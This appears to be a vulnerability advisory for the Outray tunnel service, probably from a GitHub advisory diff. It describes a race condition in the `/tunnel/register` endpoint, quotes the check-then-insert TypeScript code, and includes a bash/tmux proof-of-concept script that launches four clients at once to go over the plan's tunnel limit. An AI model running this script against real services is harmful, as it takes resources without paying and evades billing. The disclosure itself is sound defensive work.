+ "details": "### Summary\n\nA TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.\n\n### Details\n\nAffected conponent: `apps/web/src/routes/api/tunnel/register.ts`\n- `/tunnel/register` endpoint code-:\n\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n\n console.log(\n `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,\n );\n\n // Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n\n // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)\n // So we check if activeCount >= limit (not >)\n if (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n }\n console.log(\n `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,\n );\n } else {\n console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);\n }\n\n if (existingTunnel) {\n // Tunnel with this URL already exists, update lastSeenAt\n await db\n .update(tunnels)\n .set({ lastSeenAt: new Date() })\n .where(eq(tunnels.id, existingTunnel.id));\n\n return json({\n success: true,\n tunnelId: existingTunnel.id,\n });\n }\n\n // Create new tunnel record\n const tunnelRecord = {\n id: randomUUID(),\n url: tunnelUrl,\n userId,\n organizationId,\n name: name || null,\n protocol,\n remotePort: remotePort || null,\n lastSeenAt: new Date(),\n createdAt: new Date(),\n updatedAt: new Date(),\n };\n\n await db.insert(tunnels).values(tunnelRecord);\n\n return json({ success: true, tunnelId: tunnelRecord.id });\n } catch (error) {\n console.error(\"Tunnel registration error:\", error);\n return json({ error: \"Internal server error\" }, { status: 500 });\n }\n```\n- It checks if the tunnel exists in the database.\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n```\n\n- Limit is checked here-:\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n\nif (!isReconnection) {\n\n// Count active tunnels from Redis SET\n\nconst activeCount = await redis.scard(setKey);\n\nconsole.log(\n\n`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n\n);\n```\n- Redis is checked for existing tunnel to check for reconnection.\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n```\n\n- If the tunnel limit is exceeded, it pops up the tunnel limit error.\n\n```ts\nif (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n```\n- If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request\n\n```ts\nawait db.insert(tunnels).values(tunnelRecord);\n```\n- If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated row because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.\n\n### PoC\n\nUsing this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels.\n\n```bash\n#!/usr/bin/env bash\n\n# POC for Outray Tunnel Race condition\nSESSION=\"outray-race\"\nPORTS=(8090 4000 5000 6000)\n\n# Create new detached tmux session\ntmux new-session -d -s \"$SESSION\" \"echo '[*] outray race session started'; bash\"\n\n# Split the panes and run outray\nfor i in \"${!PORTS[@]}\"; do\n port=\"${PORTS[$i]}\"\n\n if [ \"$i\" -ne 0 ]; then\n tmux split-window -t \"$SESSION\" -h\n tmux select-layout -t \"$SESSION\" tiled\n fi\n\n tmux send-keys -t \"$SESSION\" \"echo '[*] Running outray on port $port'; outray $port\" C-m\ndone\n\ntmux set-window-option -t \"$SESSION\" synchronize-panes off\n\necho \"[+] tmux session '$SESSION' created\"\necho \"[+] Attach with: tmux attach -t $SESSION\"\n\n```\n\nRunning this\n\n```\nseeker@instance-20260106-20011$ bash kay.sh\n[+] tmux session 'outray-race' created\n[+] Attach with: tmux attach -t outray-race\n\nseeker@instance-20260106-20011$ tmux attach -t outray-race\n```\n\n<img width=\"1909\" height=\"1021\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85\" />\n\n\n<img width=\"1907\" height=\"936\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded\" />\n\n### Impact\n\nBy exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.",
0 commit comments